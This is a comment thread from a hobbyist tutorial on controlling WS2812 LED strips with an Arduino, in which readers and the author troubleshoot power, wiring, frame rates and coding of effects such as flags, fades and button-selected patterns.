If someone had the same problem and solved it, please answer.
Best regards
Andrey
Andrey
Hi Andrey,
sorry to hear you’re running in to this problem.
Your power supply seems potent enough, so that would not be the problem.
I can only guess that it might be a fault somewhere in the strip(s).
Did you try the individual strips, one at a time, just for testing?
The fact that AdaFruit and NeoPixel show the same problem, makes me think it’s a hardware issue.
hans
Hi Hans,
i use WS2812 strips. I tried different strips combinations, but the standard test of Adafruit does’t work
properly even with 2 strips (each 144 leds). If i try only one stripe it works fine, but if i increase the number of
leds more then 170 or 180 it begins to show other colors and it does’t work properly.
Andrey
Allright, then I suspect your Power Supply is to blame, since your LEDs seem to work fine.
20A should be more than enough though (I use a 10A power supply with 290 LEDs without a problem).
Do you have another power supply handy to test?
hans
Yes i have other one 8A i tested with it too.
I did’ use any capacitor or extra resistors, how it advised in.
May be it can be a problem.
Andrey
I have tested multiple setups without these precautions, and none of them posed a problem. So doing it without it shouldn’t be causing this.
You could give the 8A power supply a try. To not overload your power supply, do not keep the LEDs on too long, although I doubt something will happen (power supply might get warm, or simply fail to provide the needed power).
Like I said, I’m using a 10A power supply with 290 WS2812 LEDs, without a problem …
So 2x 144 LEDs might very well work for a short time.
All of it also depends on the power supply’s build quality of course.
hans
Hi Hans,
Thanks for the great tutorial. I am working with the FastLED and also Neopixel libraries and am frustrated by the update speed. I have ~300 neopixels in a strip and am driving them with an Arduino UNO. According to the NeoPixel userguide a 100-pixel strip should be able to update at up to 328 fps. When I pair my code completed down, it looks like I’m at 3fps. Not sure how to speed things up. Any pointers would be much appreciated.
Jason
Jason
Hi Jason!
Thanks for the compliment, it’s always much appreciated!
3fps is pretty super slow indeed, specially when you consider that I’m using it with Boblight (an Ambilight clone) where 3 fps would not be acceptable at all, yet it keeps up just fine. I’m sure you looked at the uberguide at Adafruit where they state that under best conditions 328fps show be achievable for 100 LEDs, so roughly 110 fps for 300 LEDs.
I actually use 290 LEDs for my Boblight setup and it keeps up wonderfully … and that even includes reading data from the serial port, conversion and steering the individual LEDs. For my setup I’m using the UNO as well.
If I look at your code, then I can’t really see anything wrong there.
So that leaves: Arduino somehow slow, or LEDs somehow slow,… which could caused by the wiring maybe? One or the other Arduino pin shorting? (I’m just guessing here)
hans
Thanks for the swift reply – much appreciated.
Hmmm. Weird. I’m pretty sure that the wiring is correct – all the pixels light up and are getting data.
110 fps means that all the LEDs on the strip should be able to change their output 110 times per second, correct?
Could the UNO be running at an artificially slow clock speed? Maybe I can troubleshoot by printing out the data to the serial port rather than sending it? My program definitely slows down a lot more when I start to print things to the serial port though…
Jason
No Problem
…
Yes, under optimal conditions a 110/sec refresh of 300 LEDs should be correct.
So your Arduino is somehow running slow it seems. Are you using WS2812 or WS2811 LEDs?
Proper power supply … wiring OK … any additional components beside PSU, Arduino and LEDs?
What happens if you set delay(1)? (it should go slower, but who knows)
hans
That code is not right. The line
strip.setPixelColor(i-1,strip.Color(0,0,0));
will access some “random” area of memory when i=0. This is perhaps screwing up things, start your loop with i=1 not i=0.
Grumpy_Mike
Thanks Grumpy Mike for chiming in … you could be right, but when I look at AdaFruit examples, I see that they address LED 0 as well as you can see in the code example below (taken from the AdFruit NeoPixel examples):
Which makes me wonder: Jason, did you test the AdaFruit NeoPixel examples?
hans
I realized yesterday after getting more sleep that I was incorrectly calculating the FPS. The code example I posted causes 1 white pixel to chase down the line of 250 pixels. I thought that since it took ~2 seconds for the pixel to reach the end of the strip, the pixels were updating slowly. Now I realize that if that white pixel was moving down ~125 pixels per second, thats how many updates there were. Seems it was more of a common sense issue than a technical one.
Jason
Haha, yeah these things happen – no problem!
Glad you’ve got it resolved!
hans
“but when I look at AdaFruit examples, I see that they address LED 0”
I never said there was anything wrong with addressing LED 0. What that code does is access LED -1, which IS wrong.
Grumpy_Mike
Doh!
You’re 100% right! That’s what I get from replying before properly waking up first
….
You’re right in the second loop line
Where i=0 then makes it -1 …
Sorry for not reading your message not properly.
hans
Hi guys, any quick ideas on the following?
I’m making an led dog collar to display different color patterns. I’ve got my code working using one of the examples in the fastLED library, I’ve selected basically 5 different types of display patterns I want to use (we participate in a dog show and based on the “skits”, some collars I’m making will use either a “red-white-blue cylon sweep”, Red-black sweep, Blue-black sweep, etc. patterns. Currently my sketch pulled from the examples just automatically cycles between the various patterns.
What I need is to have a push button input after the circuit is powered on, where every “push” toggles through each of the 5 patterns so I can select the one I want to use for that skit. Ideally, if the Arduino remembers the last pattern when it is turned off and then on again, that would be great, but not really a requirement.
I have been looking around, and “switch case” code really isn’t the right one — though it does talk about selecting options, but the example is more about an ambient light sensor to trigger one of several levels based on a photoresistor — not what I’m doing.
Also, and its probably the same answer, I’d like another push button that I can select between “normal” brightness and “full” brightness (some shows are outdoors). I’m thinking the easiest solution is that the push button cycles through 5 normal brightness settings, then the same 5 but “full brightness” settings. 10 pushes might be a bit much, so I might add another switch to toggle between two brightnesses. Sound good or do you think the 10 pushes is a far easier solution?
Ideas? I’d love to hear from you.
Roger in Michigan
Hi Roger!
That’s a nice and practical use for the LEDs – I like it!
What I would do for the pattern button:
First define a global variable, say:
Then in the loop(), when a button press is detected, increase the value of “selectedpattern”.
If selectedpattern is >5 then set it back to 1 and handle the pattern display with a switch case.
Assuming startpattern1 is a function for pattern 1, etc.
You could do something similar for brightness, maybe even use 3 settings: Bright, Medium, Off?
Brightness can be controlled in several ways (see this AdaFruit Forum Topic) and I suspect that in your case, setting the brightness before calling the pattern display will work just fine by using:
For half the brightness I just picked and arbitrary number, you might want to experiment what would be the right value for you.
So everything combined could be something like this:
Global variables:
And in the loop():
Please note that I have not tested this code, as I do not have my equipment with me to test – I’m traveling at the moment.
As you can see: I have not “implemented” the button press catching part … I have never used this, but it should be fairly easy to do. See this Arduino Push Button example.
In this I assume your code keeps calling the pattern generation in the loop() over and over again. With this example we simply switch to another patter that is being displayed over and over again.
Hope this gets you started
hans
Hi Hans, I know this is a newb question, but I’ve added the code you suggested and defined the input pins, and I think I wrote the const int statements for the push buttons covered, and I made slight modifications to the naming convention to fit into the original code, but its not compiling. I know the code worked before when it was just cyclilng between the differnt patterns, but its not liking how I wrote it. I hope its not just a fat-fingered issue on my end, but could I ask for a quick look-see?
The file dated 150409 is todays, The March 23 file is the sketch I started with, and the file April 9th file is the one from just now. I’ve cleaned up the order of things just to shorten the code and to make it more logical (I hope).
If you can offer some suggestions it would help. I’ve been banging my head all night on this.
Roger
Great article!
I used this to make an infinity mirror, which was pretty awesome.
I took it all apart a month or so ago, and now for some reason I can’t get any of it working :(
I have my WS2811 strip/Arduino UNO setup like this:
DI pin goes to PIN 6 on my Arduino
5V goes to my Arduino 5V pin
GND goes to my Arduino GND pin
I upload the example NeoPixel code (which I used before and worked perfectly) and nothing happens, powering it with my USB port.
An interesting side note, when I put either the 5V pin or the GND pin into the Arduino I get a really brief purple blink of all the LEDs, but beyond that it’s completely dark.
I’ve tried switching the PINS I’m using, different cables, re-soldering the connections on to the strip … nothing seems to work.
Do you have any ideas of what the issue might be? I’m hoping the strip isn’t burnt out, but the fact that it blinks briefly makes me think that it may be something else …
Any ideas would be GREATLY appreciated!
Thanks,
Jay
Jay
If the Arduino is USB Powered:
Connect the additional power-supply as follows:
+5V to LEDs, GND to LEDs and Arduino. (see figure 4)
If the Arduino is NOT powered through USB (i.e. USB cable NOT connected):
Connect the additional power-supply as follows:
+5V to LEDs and Arduino, GND to LEDs and Arduino. (see figure 5)
The USB bus will most likely not provide enough power to light up the LEDs, and you would not want the power of the power-supply go back into your USB (over simplified explanation).
Hope I read your explanation correctly and hope this helps
…
hans
Hey Hans!
Thanks for the quick reply.
I’m powering it through the USB from my laptop, which worked fine before. To clarify, there is no external power supply, just the 5V coming out of my laptop into the USB port on the Arduino UNO.
I made sure all my connections are good, re-uploaded, tried different USB ports (all of them worked before) and still no luck
I’m starting to wonder if it’s strictly code-based, an issue with my LED strip, or something wrong with the Arduino itself.
I stripped down some of the code I’m using to try and isolate the issue:
Jay
I got it! It was the darn first set of connections on the LED strip.
I connected it to the next set in the strip and it works like a charm!
Thanks for the help bud, much appreciated!
Jay
Glad to hear that Jay!
Well, the part that you got it fixed of course
….
hans
[…] assume That You Already have Followed this excellent guide to recognize the various types of LED strips, installed the hardware and successfully run the […]
Hello to everybody,
I came across this website and realized that it caters not only for those familiar with Arduino programming, but also for complete beginners like myself. I have an Arduino Duemilanove board with an Atmega 328P–pu chip.
I have ordered a 5 meter WS 2812B rgb LED strip comprising a total of 150 LEDs. I have looked at various options to drive my strip, but most of the available information appears to be geared to rather fancy stuff and is way above my head. Being a licensed ham, I am reasonably familiar with the principles of electricity, RF etc, so powersupplies and soldering are no problem. However programming is all gobbledigook to me and at 74 years of age it is difficult to teach an old dog new tricks.
Basically what I want to do, is assign individual colors to the 150 LEDs at will; e.g. all red, all blue, all green or mixtures thereof. I would also like to use the strip to create flag colours on the strip such as 3red, 3white, 3blue (Dutch flag) or 3 red, 3white, 3green, (Italian) and repeat this for all following LED’s. Not being familiar with programming I don’t know how simple/difficult this is, but I would be very grateful if someone could point me in the right direction.
Many thanks in advance and cheers,
Chris
Chris
Hi Chris!
Nice to see you here! My dad used to enjoy HAM radio and that’s how I got started with electronics
.
Are you thinking of rotating “flags” or fixed?
Meaning; when switching your Arduino+LEDs on, show only one pattern or alternate patterns?
I am sure I can help you get started with this – once you see how it’s done, I’m sure you’ll know how to modify to meet your needs.
p.s. in case you’re Dutch:
Each article on my website is also available in Dutch, for example this is the Dutch version of this article.
hans
I bought a 5m WS2812B RGB LED strip on eBay.
I cut the 5m strip into 1m strips.
I laid the 1m strips on a piece of corrugated plastic but a thin piece of wood would work.
{ 1m strip #1 }
{ 1m strip #2 }
{ 1m strip #3}
{ 1m strip #4 }
{ 1m strip #5 }
Space the strips about 1 inch (25.4mm) apart.
My LEDs are spaced about 1 inch apart horizontally, so you would want to space them about 1 inch apart vertically.
Solder wires to connect end of strip #1 to start of strip #2, end of strip #2 to start of strip #3, and so forth.
ieee488
Altight, sounds like you’re making a real flag banner! Cool!
So we have 5 strips of 30 LEDs, and for each we would need to define the colors.
There are a few methods you could try – unfortunately, I do not have access to my usual hardware (traveling), but let’s see how far we can go … maybe a good start for another article for me to write!
Note : I’ll assume we will be using FastLED for this purpose.
If you’d be creating straight forward striped flags then we could do this “easy”, meaning define the color for each row. But seeing your earlier example (3 red, 3 white, 3 blue), I’m assuming you want to set the color per “pixel” (LED).
A 2 dimensional array would be helpful to define the flag colors. In this example (untested on an actual LED setup, but it compiles in the Arduino IDE) I’ve use an array called “flagcolors” which holds the color values for all LEDs, based on Row and Column. We can, thank goodness, define the array pretty easy in one “step”.
So here we go, first do the usual FastLED steps (include, definer number of LEDs, set LED array for FastLED, define Arduino pin).
In setup() we basically initialize FastLED, and then copy the array colors to the appropriate LED positions (if I didn’t screw up haha).
The reason why I’ve used an array can be made more visible in the next example where I toggle between Dutch flag and Italian flag.
As you can see, you can define pretty much any picture of 5 x 30 pixels this way.
Define more colors if you need them, and use them in the same way.
A list of color hex code’s can be found at the end of the article …
Here I created a special function to “show” a flag. Simply pass the flag name and it will show.
Now … I had an Arduino Mega and the Arduino IDE available … but no LEDs.
I assume these sketches will work, but I’m only human, so it is possible that I made a typo or mistake.
And before anyone jumps on it: I’m sure there are other, maybe even better ways to do this.
Just seemed the easiest for this purpose.
Let me know if this is what you had in mind …
hans
Hello Hans,
I replied to the email version of your reply, but I am not sure whether that is the correct way of going about it, so I am repeating my reply below:
“Hello Hans,
Thank you for your lightning fast response !
Do not think that the delay in answering your questions is due to a sudden lack of interest. It is due to the fact that there is a + 9 hours time difference between Brisbane Australia and the Netherlands.
At the back of our house I have a large deck and basically I want to string the LEDs horizontally along the railing. At this stage I do not need the sophistication of switching the patterns or moving the display, although I would to “have a go” at that once I get the simpler version going. We occasionally have a party on this deck and it would be nice if e.g. we have an Italian themed event I could program the lights 3red, 3white 3green and repeat this along the string. On other occasions I could have them all red, white blue or whatever. I was born in Indonesia and my parents were Dutch. We migrated to Australia in the 50’s. However I can read and speak Dutch in addition to English, German, French, Indonesian and a touch of Korean. However writing in Dutch is a complete disaster !! I am currently learning Spanish (and maybe even Arduino).
Hope this clarifies my situation / wishes.
Cheers from Brisbane,
Chris”
Also I think there might be some confusion, as there was a comment from “ieee488”, who I think want to do something a bit more sophisticated to what I am looking for.
Cheers,
Chris
Chris
No worries Chris!
(see: I speak Australian too
)
I live in the USA but I’m currently with family in the Netherlands – so I know all about the time difference issues.
The sketch I wrote can be used for your purposes as well. You will just have to enter the 3×3 pattern manually.
If you really only intend to use a 3x 3 Color pattern, then maybe this is a more appropriate approach:
After the usual FastLED setup, I’m making a loop that goes from 0 to up to (not including) 150, each time increasing by 9.
In that loop, I have 3 loops which each count from 0 to 3 (3 not included) to set a color for a LED.
So we set row+light to the given color, ie. 0+0=0, 0+1=1, 0+2=2, … , 0+6=6, 0+7=7, 0+8=8, 9+0=9,… etc.
I had to put an IF check in there since 150 cannot be divided by 9, so at the last run “row+light” might exceed 150 and we cannot assign a value to a LED beyond 150.
I compiled the code but again, was unable to test it actually with a strand of LEDs.
The next step could be having the colors “run”, ie in the first cycle have 3xred, 3xwhite, 3xblue, next cycle 3xwhite, 3xblue, 3x red, next cycle 3xblue, 3xred, 3xwhite, and do it all over again.
The sloppy/lazy way of doing that:
I call this sloppy, because this can be solved in a much more elegant way, but this way you can see clearly what’s going on.
In the loop() (the code that the Arduino keeps repeating) we define and set the first pattern, wait half a second, do the 2nd pattern, wait half a second, do the 3rd pattern, wait half a second and do it all over again …
Please give it a try … again, I didn’t test the code by lack of actually having a strand available, but it compiles OK.
hans
Hi there,
I try to build an autimatic light system for stairs,
I use this code : Codeshare
I try do modify some function. The main change is to change the lighting effect, I want to power 4 after 4 led in a fade’in effect and the same thing to powerf off the led 4 after 4 in a fade’out effect.
I know I need to modifiy thes functions :
But I can’t made it to work…
I would like to have some help from a WS2812B expert
Unfortunately, this skecth use Neopixel instead of Fastled ( than I find easier )
Thanks in advance for any tips .
By the way, sorry for my porr english
Long life to LED !
showtime
Hi ShowTime!
Do not worry about your English,… it’s pretty good and I’m understanding just fine what you’re saying.
If I understand you correctly (explaining a desired effect can be hard):
You want the SwipeUp and SwipeDown, just 4 LEDs at a time, instead of one at a time.
If that’s what you’re looking for then a modification something like this should work:
So what it does;
It goes through the usual swipe, however only displays the changes if the led count is dividable by 4 (I have to add 1 to “i” since it’s zero based – ie. Led 4 would actualy have i=3). If dividable by 4, then the modulo (%) or “left over” of the division should be zero, or if we’ve reached the first LED (i==0), then display the changes.
So it sets the LED values for the first 4, then shows the changes. Then for the next 4, and show the changes again, … repeat until we reach the first LED.
I have not been able to test this, as I do not have a strand available – I’m traveling.
The other function should look something like this – I hope I didn’t screw up with the strip.numPixels():
Hope this is what you’re looking for.
hans
Dear Hans,
thanks for your help !
as you said, describe an effect isn’t easy but the first step is achieved, light up led 4 after 4 .
The next step is to light up in a fade’in effect, beacause bynow it’s a direct effect , maybe the easier way to understand me is to take a lokk at this video :
did you see what I mean ?
Many thanks for your help anyway , as you can imagine, I‘m not a coding friend… So your help is very precious !
Cheers !
showtime
Me again…
I try to understand , but really isn’t easy in my technician logic.
I try do modify in the same way the “breathe” loop to work ond the 4 first led of the strip and 4 last led of the strip.
So I need to indicate the parameter here :
strip.setPixelColor(0,0,0,breathe);
strip.setPixelColor(116,0,0,breathe);
With a nex expression like this :
for(int i=0;i<NUMPIXELS;i+3) {
strip.setPixelColor(NUMPIXELS,0,0,breathe);
}
No ?
Hope not boring you
showtime
Wow that looks really NICE! I want that!
Yet more info for another Arduino LED article!! I think I have to order a bunch more LEDs!
Hint hint to the LED strand sellers – please donate haha!
But seriously, that looks slicker than snot!
OK, I think the fade should be in the loop of those 2 functions. So I would rewrite the functions as follows (again untested – no equipment nearby to test), in which we go 4 LEDs at a time and let them fade.
Mind you, it’s still early in the morning here, so I might have made a mistake, but I think this should get you pretty close:
hans
Hello Hans !
Yes I think it’s a really great effect for house stair, it’s really flexible and ergonomic.
My testing setup is : Fritzing draw
Naturally I will share this project after completing it !
About your early morning code, it work ! But actually it block the fadeout function and the fadin effect isn’t pretty smooth .
In a simpler way,I think it would be easier and more standard for other user to create a simple fade’in fade’out effect with a variable delay to adjust on walking pace
Hera are my actual sketch : then you can have an overview
Waybe did you prefer to discuss by another way, I don’t want to disturb this article comment ?
showtime
Good idea!
I’ve started a forum topic for this, this is the link.
hans
Hello Hans,
Once again for your invaluable help. I did not reply to your request for the code immediately, as I felt I should explore all avenues and try and sort out the problem myself.
Well after may trials and errors, I finally managed to get my strip to work, after I left some of the lines at the end out In the end I used the following code:”
This basically does what I originally intended to do. However, as you may have guessed; playing around with Arduino has piqued my interest and I am now looking at some refinements. Could you please help me do the following:
a) Can I make this “string” turn on one led at the time from left to right—-at the last led wait for x minutes (or seconds)——repeat this cycle.
b) Make the whole string flash on and off at x seconds off/x seconds on.
Many thanks again for your help, As a programming illiterate,I am really tickled pink about all this
Cheers,
Chris
Chris
Hi Chris,
no better school than trying yourself and playing with the results haha
Glad the code works – I’m sure I could have come up with a more elegant method, but I figured this one is easiest to understand and to work with for other “applications” ,…
I have a little trouble understanding what you’d like to do with option a). You mean led 1 on, led 2 on,… led n on. All leds off. And repeat? If so, then I think you can achieve that with:
Maybe fun to make the LEDs walk around, with a minor (untested) modification:
For flashing the LEDs, you could try using Brightness maybe …
I do not know for sure if this will work, but I’m pretty sure it will work …
You might have to tweak the delays in the code a little bit, and I took the liberty to make dimmed brightness in between. You can remove that in case you don’t like it.
Oh and do not forget to look at the FastLED demo’s, or this demo that I found at AndyPi.
I have learned, and am still learning, a lot from those.
Hope this is what you’re looking for
hans
Hello Hans,
Well my initial jubilations for getting my LED strip to work have turned into a very frustrating eating humble pie session. After I monkeyed around with the sketch, I discovered that not only did the expected “running” occur, but my original flag sketch is also not working! So I am back to square one (actually one step before square one). I used the exact sketch (if that is the right word; please correct me, as my biggest problem appears to be understanding the jargon) I indicated in my previous mail, which I am repeating for good orders’ sake:
I get the following error message when I try to compile the sketch:
I do not understand what a primary expression is or what the other supposed errors are about.
By the way the red comments in the Arduino program outlining the errors are very difficult to read. Is there any way of changing this?
Also thank you for your suggestions in your previous email regarding turning the LED’s ON in a running fashion until the end of the strand, followed by a pause of x minutes/seconds and next repeating the whole sequence. Question: Where exactly do I insert this series of lines? Is it at the beginning or the end of the program?
Many thanks in advance,
Chris
Chris
Hi Chris,
feel free to ask about the jargon – we all went through that process … some I do not even know
.
If this is the exact sketch you’re using then the error is caused because you didn’t close the loop() function.
A function (I’ll take the look as example) has this format:
Where “…” should be replaced with code.
You see how the block of code is enclosed with accolades?
The error messages you’re seeing are pretty useless except for the line
since you forgot the closing accolade.
As for the red color in the error log, I fully agree – it’s difficult to read.
You can modify it, but this can be rather cumbersome to find the right file to do that. The file is called “theme.txt”.
The location of this file might be a little different on your computer, but in general it’s in the directory where the Arduino IDE has been installed.
Under MacOS X I found it here:
Under Windows I found it here:
Under Ubuntu I found it here:
In “theme.txt” you’ll find this little bit of text:
Changing the “console.error.color” would change the text color that is currently red. Change it for example to yellow:
You’ll have to restart the Arduino IDE after saving that file.
If you’d rather have a white background (console.color), with a darker red text, try:
If you’d like to use a bigger font, use the Arduino preferences, and set “Editor font size” to for example 14.
Hope this helps
p.s. when posting code, would you mind marking the code with the far right button so it’s put in a separate box – makes the message more readable (I’ve manually modified your previous posts to get that effect).
hans
Hello Hans,.
This report would have more information with
“Show verbose output during compilation”
enabled in File > Preferences.
Chris
Hello Hans,
I have a feeling that I am sinking deeper and deeper into a hole. I have tried all sorts of combinations of accolades, semi colons and I get all sorts of weird compiling errors.
My latest effort returned the following error:
Arduino: 1.6.3 (Windows 7), Board: “Arduino Duemilanove or Diecimila, ATmega328”.
I used the following code (only the last few lines are shown):
{ Black, Yellow, Yellow, Yellow, Yellow, Lightblue, Lightblue, Lightblue, Lightblue, Yellow,
Yellow, Yellow, Yellow, Black, Green, Green, Green, Green, White, White,
White, White, Red, Red, Red, Red, Black, Red, White, Blue } // row 6
};
void setup()
{
}
p.s Did I use the correct way to paste the cbove code lines? I used rightclick, paste.
Hope you can make sense out of all this.
Chris
Hi Chris,
well as far as I know, the loop() must be defined.
So at the end of your code it should say at least:
Both loop() and setup() are required.
hans
Hello again Hans,
Just to let you know that I finally did get the flag sketch to work by going back to the original sample you provided and by retracing my steps.
I would however still like to know how I can get the following effect: run from LED 1 to Led 150, pause when the whole string is lit for x minutes and repeat this routine. Where exactly should the modification be inserted (end (bottom) of the program. beginning etc.
Thanks again for your patience
Chris
Chris
Maybe it is an idea to start a forum topic about this? Otherwise the comments get quite convoluted …
I took the liberty to start a forum topic.
hans
All i would like to do is make a certain led on the strip turn on. For example, i want the 36th led to turn on blue for 5 seconds, how would i do that in the code?
Lucas
Hi Lucas,
that depends on which of the libraries you’ll be using. For example in Adafruit Neopixel this would be:
You’ll need the initialization code (the #include and the setup() procedure) to get going, and put this code in the loop() procedure).
Note that LEDs are numbered 0 … n (zero based counting).
So the first LED will not be “1” but “0”, and equally LED 36 will be “35”.
hans
How to create Effect Knight Rider from FastLed.h?
AlexPeres
Hi AlexPeres!
The trick is to capture the motion (and possible fade) in a loop.
Quickly looking at it, you’d need to think of the LED strip as 2 halves, where the LEDs light up mirrored.
Next thing to remember is that a number of LEDs “walk” together, with a possible dim of the first/last LED.
But maybe it’s good to leave the “fade” at the ends out, until you have a basic loop going.
Unfortunately, I’m a little short on time – I’m in the middle of moving from the USA to Europe, so I’m having a hard time keeping up with things as it is.
I will try to get back to this question with a loop as soon as I can.
hans
I can see that the data direction is very important. I would like to know if there is a power direction as well. I want to power 1M strip with a battery in one end (the back), and then connect the Arduino in the front end. Is that possible or are the strips one way only in terms of power?
Anders
Hi Anders,
Data direction is indeed critical.
Power however does not matter, some even connect both ends to the power supply.
hans
Just to expand on Hans’ reply, it is helpful to connect both ends because of voltage loss from one end to the other of the strip. If you have all of your LEDS turned on the far end of the strip away from the power can be dimmer than the near end depending on number of LEDS and the length of the strip. Additionally it gives two paths for current draw into the LEDS effectively doubling your current carrying capacity from the power supply into the strip.
Dannlh
You must make the -ve of the battery connect to the ground of the Arduino. But you must not connect the +ve of the battery to the +ve of the Arduino. Also the battery voltage must not be higher than 5V.
Grumpy_Mike
@Hans
I am thinking about building my own Arduino box running WS2812 LED (From what reading best). I would be using my OpenELEC box running boblight (unless something better) for this project. I am new to this so my knowledge is low but willing to learn. I am looking to buy all stuff needed ASAP to start working on this. I am not 100% what all I need to build this. Yes this guide current or should I be looking at some other stuff?
Any help would be GREAT! I did purchase 2 Lightpacks from
These have 10 plugs each with 3 LEDS so total of 60 LEDS with 30 channels, however on my Samsung 4k 65″ TV I think would like something with more lights and this seems to way to go.
Ray
Hi Ray,
I’ve been using the WS2812 LED strands + Arduino Uno R3 + 10A 5V Power supply with OpenElec for a while now. My setup runs OpenElec on an AMD Fusion computer, without a single hick-up.
For those running OpenElec on a Raspberry Pi, I’d recommend looking into Hyperion as it uses much less resources. I hope to find the time in the next few months to write an article for that as well.
I’ve seen other being very successful with a comparable setup, even when running Kodi in a Virtual Machine (!).
Unfortunately, I’m not familiar with the details of LightPack. I only read somewhere that it needs a serial number or address. This does not mean that the LighPacks will not work, I’m just not familiar with all the details, and you’re the first person here to even mention the LightPacks.
Your basic shopping list:
– WS2811 or WS2812 LED strand(s) – either from eBay, Amazon, or AliExpress for example.
– Arduino Uno R3 (other models will often work – but you’ll have to check if the pins match etc) – I recommend the original, not a clone.
– Suitable 5V power supply (see calculation above) – I found some good ones at eBay and AliExpress.
– USB cable to connect Arduino to your HTPC. (USB A to USB B)
You might need a few connectors or cables – depending on your choices how to connect the power supply and how to connect individual strands.a
After uploading a sketch to your Arduino, connect the LED strands to your Arduino, connect power to the first LED strand, connect the Arduino to your HTPC, install Boblightd on your HTPC, install the Boblight addon in Kodi, and you’re good to go. Well, naturally you’d want to go through the article for certain details.
hans
hi there,
I’m going to build my Adalight project for my Projector fixed frame screen (108”) soon and going to shopping what I need
I really want to go with the WS2812 LED strand (30/M) from the 5050 chip with I think give the most brightness from 5V to date is that right?
according to my calculation for my screen I will need 240 light ( With 2,5m x2 – High 1.5mx2) if I take the 30 light/m stand
My question:
240 light is it supported without any fps drop by Boblight or Ambilight? I know lot’s people do have arround 100 light setup for tv but I’m talking big screen
I will run from a dedicated HTPC AMD A6-6400K and Arduino Uno r3
Thanks
Chris
Hi Chris!
I can’t say much about the brightness of the LEDs, since these are the only ones I have used so far. They are pretty bright though and I actually had to tone down the brightness to get good results.
I’m having 290 LEDs around my 80″ TV, and Boblight does not seem to have an issue with that. Therefore I can safely say that 240 won’t be a problem either – especially since your HTPC is more powerful that my dinky HTPC (AMD Fusion). Just make sure the power supply is powerful enough (say 10A for convenience), and it could be good to connect +5V and GND to both ends of your 8 meter “strand”.
I’ve noticed with my setup (power only connected to one end), that the last few LEDs loose brightness. So once I can access my stuff again (it’s in transit from the U.S. to Europe), I will connect power on both ends as well.
Looks like an exciting and cool project … 108″ is a pretty large screen …
hans
ok cool, I’m really looking for the brightness issue more than the number of the light to be honest…why? because I have a black charcoal wall arround my screen and it can absorb light diffuse more than white paint wall
now wonder if I go to the 60/m instead of the 30/m that will give me 2x more lights like (arround 500) and if I can group pair(2) of lights by Zone within boblight programs that would me give around 250 zones
what do you think? or I should be ok even with 500 light?
Thanks
Chris
I think 60 LEDs/meter would not be a bad idea with a black wall.
I think Boblight might be able to handle 500 individual LEDs just fine.
However, if you find that it will not work, then we most certainly can see if we can adapt the sketch to support grouping of LEDs.
hans
Hi, nice tutorial here! I’m new to ardunio and all these LED strips. I’m thinking of using ardunio uno to control the rate(speed) of the lights inside the LED strips.
Example, from the demo video embled in this page, at the start of the video it shows the lights lit up from the beginning of the LED strips till the end of the LED strips in a very fast speed.
I would like to know if I’m able to control the rate of the lights with NeoPixel/FastLED?
Louis
H Louis!
Welcome to Arduino and LED’s
To control speed, you have a few options, for example in the AdaFruit_NeoPixel example:
The function colorWipe takes a variable called “wait”, increase this value and the swipe will go slower.
You see in one of the earlier lines:
Increase that number 50, and it will go slower.
The function theaterChase() works in the same way.
In those functions, you see a line “delay(wait)”, this delay() statement takes an integer value, which indicates how many milliseconds the Arduino should pause. So if you’d put that somewhere in your code, then you can delay that way as well. For example delay(1000) pauses the Arduino for a second.
Is this what you’re looking for?
hans
Yes this is what I’m looking for!
Does FastLED have the “wait” function too? I’m trying to create a LED musical show, so I have to change the speed of the “lights” with the “wait” functions. Also may I know which library is suitable for my project?
Louis
The “delay()” function works standard with any Arduino – no matter what library you use.
As for the “wait” parameter in the functions in the shown AdaFruit example are not AdaFruit specific. These 2 functions (colorWipe and theaterChase) are functions defined in this example. I did not bring them to the FastLED example – which probably would have been a better idea. Anyhow … too late now.
In the FastLED example you’ll see “delay(10)” (twice in the partial code below) – see lines 26, 40, 49, 65 and 79 in the example code above.
Increasing 10 here would slow down the effect as well:
hans
Sorry my mistake for not noticing colorWipe and theaterChase are functions that you wrote.
Thanks for the share, Hans!
It’s a great tutorial to start off my project :)
Louis
No problem Louis!
.
I’d probably overlook that minor details as well … no biggy
Glad I could help and thanks for the compliment
hans
Hi, How can I turn off the LED?
Is this the correct way strip.Color(0, 0, 0) to turn off the LEDs?
Louis
Hi Louis,
Yes that should be the correct way to turn off a LED.
hans
Is it possible to execute the codes after the called function rainbowCycle(20) inside a loop concurrently?
Louis
Solved by learning how to multi-task here.
Louis
Nice and neat find!
hans
An addressable LED strip is not compatible with a speaker? Since speaker uses Tone() library that uses interupts, addressable LED strip cannot receive any data signal for show(); Is this true?
Louis
Great tutorial- THANK YOU!
I’m new to the neopixels but was able to get it going following your directions.
I’m building a sculpture where I need to fade individual pixels on– then hold full brightness & then fade off, then fade up the next pixel hold at full brightness for so many seconds then fade out, then the next pixel etc. The initial pixel will be triggered by a proximity sensor. probably will have 20 pixels or so.
I’m having trouble finding or understanding how to code the fade up from black to full brightness, hold, then fad out while next pixel fades up. Would you have any suggestions?
Thank you,
Kathleen
Kathleen
Hi Kathleen!
Thank you very much for the enthusiastic “Thank you” note
.
To fade in/out a individual pixel, your code needs to change that particular pixel color to a light (in) or darker (out) color.
The code above sets the color of a pixel based on 4 numbers. 3 number (in Color()) to define the color, the lower the numbers the darker the light gets, the higher the number, the brighter they get.
The 4th number I mentioned is the specific LED you’d like to change (in setPixelColor()).
Once set, we call show() to make the actual change.
To accomplish your idea (and I’m really super curious about the end result, so please share when you have your sculpture done) you’d probably want to use a loop. For now I assume you’ll be using white as a “color”, but the same (albeit a little bit more work) would apply to other colors.
This is just a part of the code, and I’m assuming you’re using NeoPixel …
Now for the loop, which we’d call once the proximity sensors picks up a person near your sculpture. So when the sensor detects motion/proximity call:
The function (untested, I’m nowhere near my stuff at the moment to even try this) should be something like this:
Hope this gets you started
…
hans
THanks Hans! I am having trouble getting this going (I believe mostly due to my new-ness to coding).
Here is the overall walk thru of the piece.
1 – sculpture is inactive
2- person approaches and at 14″ distance triggers the proximity sensor activating sculpture(I hope to later add 3 different triggers from same proximity sensor. For instance at 24″ group A of 20 lights are triggered, at 14″ distance group B lights are triggered and at 6″ distance group C lights are triggered). For now if I can get one group running I will be thrilled.
3- Group A lights (neopixels–though later I may switch to 1watt heat sink LED): pixel 1 fades up (3 second fade up) & holds for 5 seconds (full brightness) then fades (3 second fade out to off), pixel 2 fades up, holds, fades out, pixel 3 fades up, holds, fades out…up to pixel 20. after pixel 20 fades out lights should remain off until triggered again. lights should start this process once triggered and play thru to pixel 20 regardless if the person has walked away & out of range. Ideally I’d like the following pixel to fade up while the previous pixel is fading out but that may be too complicated to do for me right now.
I’m not sure where I am to put the code you wrote and what needs to go at the top in the void setup.
